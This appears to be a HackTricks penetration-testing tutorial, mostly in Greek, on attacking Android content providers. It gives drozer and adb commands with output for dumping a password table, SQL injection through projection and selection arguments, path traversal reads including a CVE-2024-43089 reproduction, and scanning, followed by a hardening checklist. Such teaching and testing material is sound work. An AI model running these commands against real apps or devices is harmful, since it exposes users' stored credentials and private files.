Exploiting Content Providers
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Intro
Δεδομένα παρέχονται από μια εφαρμογή σε άλλες κατόπιν αιτήματος από ένα συστατικό που ονομάζεται content provider. Αυτά τα αιτήματα διαχειρίζονται μέσω των μεθόδων της ContentResolver class. Οι content providers μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια βάση δεδομένων, αρχεία, ή μέσω ενός δικτύου.
Στο αρχείο Manifest.xml, η δήλωση του content provider είναι απαραίτητη. Για παράδειγμα:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Για να αποκτήσετε πρόσβαση στο content://com.mwr.example.sieve.DBContentProvider/Keys
, είναι απαραίτητη η άδεια READ_KEYS
. Είναι ενδιαφέρον να σημειωθεί ότι η διαδρομή /Keys/
είναι προσβάσιμη στην παρακάτω ενότητα, η οποία δεν είναι προστατευμένη λόγω ενός λάθους του προγραμματιστή, ο οποίος εξασφάλισε το /Keys
αλλά δήλωσε το /Keys/
.
Ίσως μπορείτε να αποκτήσετε πρόσβαση σε ιδιωτικά δεδομένα ή να εκμεταλλευτείτε κάποια ευπάθεια (SQL Injection ή Path Traversal).
Λάβετε πληροφορίες από εκτεθειμένους παρόχους περιεχομένου
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον DBContentProvider ξεκινώντας τις URIs με “content://”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου οι βασικές πληροφορίες βρίσκονταν στον /Keys κατάλογο.
Ο Drozer μπορεί να μαντέψει και να δοκιμάσει πολλές URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Πρέπει επίσης να ελέγξετε τον κώδικα ContentProvider για να αναζητήσετε ερωτήματα:
Επίσης, αν δεν μπορείτε να βρείτε πλήρη ερωτήματα, μπορείτε να ελέγξετε ποια ονόματα δηλώνονται από τον ContentProvider στη μέθοδο onCreate
:
Το ερώτημα θα είναι όπως: content://name.of.package.class/declared_name
Content Providers με υποστήριξη βάσης δεδομένων
Πιθανώς οι περισσότεροι από τους Content Providers χρησιμοποιούνται ως διεπαφή για μια βάση δεδομένων. Επομένως, αν μπορείτε να έχετε πρόσβαση σε αυτήν, θα μπορούσατε να εξάγετε, ενημερώσετε, εισάγετε και διαγράψετε πληροφορίες.
Ελέγξτε αν μπορείτε να έχετε πρόσβαση σε ευαίσθητες πληροφορίες ή προσπαθήστε να τις αλλάξετε για να παρακάμψετε μηχανισμούς εξουσιοδότησης.
Όταν ελέγχετε τον κώδικα του Content Provider, κοιτάξτε επίσης για συναρτήσεις που ονομάζονται όπως: query, insert, update και delete:
Διότι θα μπορείτε να τις καλέσετε
Ερώτημα περιεχομένου
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Εισαγωγή περιεχομένου
Quering the database you will learn the name of the columns, then, you could be able to insert data in the DB:
Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean
Ενημέρωση περιεχομένου
Knowing the name of the columns you could also modify the entries:
Διαγραφή περιεχομένου
SQL Injection
It is simple to test for SQL injection (SQLite) by manipulating the projection and selection fields that are passed to the content provider.
When quering the Content Provider there are 2 interesting arguments to search for information: --selection and --projection:
You can try to abuse this parameters to test for SQL injections:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Αυτόματη ανακάλυψη SQLInjection από το Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Content Providers με υποστήριξη συστήματος αρχείων
Οι content providers μπορούν επίσης να χρησιμοποιηθούν για πρόσβαση σε αρχεία:
Ανάγνωση αρχείου
Μπορείτε να διαβάσετε αρχεία από τον Content Provider
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "../" και παρόμοια κόλπα).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Αυτόματη ανακάλυψη διαδρομών Path Traversal από το Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 Ενημερώσεις & Σύγχρονες Συμβουλές
Drozer 3.x (Python 3) είναι διαθέσιμο
Η WithSecure επανέλαβε τη συντήρηση του drozer το 2022 και μετέφερε το πλαίσιο σε Python 3 (τελευταία 3.1.0 – Απρίλιος 2024). Εκτός από τις διορθώσεις συμβατότητας, νέα modules που είναι ιδιαίτερα χρήσιμα όταν εργάζεστε με Content Providers περιλαμβάνουν:
scanner.provider.exported
– καταγράψτε μόνο τους providers μεandroid:exported="true"
.app.provider.grant
– καλέστε αυτόματα τοgrantUriPermission()
ώστε να μπορείτε να επικοινωνείτε με providers που αναμένουνFLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
σε Android 12+.- Καλύτερη διαχείριση του Scoped Storage ώστε οι file-based providers σε Android 11+ να είναι ακόμα προσβάσιμοι.
Αναβάθμιση (host & agent):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
Χρησιμοποιώντας τον ενσωματωμένο βοηθό cmd content
(ADB ≥ 8.0)
Όλες οι σύγχρονες συσκευές Android διαθέτουν μια CLI που μπορεί να ερωτήσει/ενημερώσει τους παρόχους χωρίς να εγκαταστήσει κανέναν πράκτορα:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
Συνδυάστε το με run-as <pkg>
ή ένα rooted shell για να δοκιμάσετε τους εσωτερικούς μόνο παρόχους.
Πρόσφατα πραγματικά CVEs που εκμεταλλεύτηκαν τους Παρόχους Περιεχομένου
CVE | Έτος | Συστατικό | Κατηγορία σφάλματος | Επιπτώσεις |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | Διαδρομή πρόσβασης σε openFile() | Αυθαίρετη ανάγνωση αρχείων από την ιδιωτική αποθήκευση οποιασδήποτε εφαρμογής |
CVE-2023-35670 | 2023 | MediaProvider | Διαδρομή πρόσβασης | Αποκάλυψη πληροφοριών |
Αναδημιουργήστε το CVE-2024-43089 σε μια ευάλωτη έκδοση:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Λίστα ελέγχου ενίσχυσης για API 30+
- Δηλώστε
android:exported="false"
εκτός αν ο πάροχος πρέπει να είναι δημόσιος – από το API 31 το χαρακτηριστικό είναι υποχρεωτικό. - Επιβάλετε δικαιώματα και/ή
android:grantUriPermissions="true"
αντί να εξάγετε ολόκληρο τον πάροχο. - Λευκή λίστα επιτρεπόμενων παραμέτρων
projection
,selection
καιsortOrder
(π.χ. δημιουργήστε ερωτήματα μεSQLiteQueryBuilder.setProjectionMap
). - Στο
openFile()
κανονικοποιήστε τη ζητούμενη διαδρομή (FileUtils
) και απορρίψτε τις ακολουθίες..
για να αποτρέψετε την περιήγηση. - Όταν εκθέτετε αρχεία προτιμήστε το Storage Access Framework ή έναν
FileProvider
.
Αυτές οι αλλαγές στις πρόσφατες εκδόσεις Android σημαίνουν ότι πολλές κληρονομημένες εκμεταλλευτικές αρχές εξακολουθούν να λειτουργούν, αλλά απαιτούν επιπλέον σημαίες/δικαιώματα που τα ενημερωμένα modules του drozer ή ο βοηθός cmd content
μπορούν να εφαρμόσουν αυτόματα.
Αναφορές
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.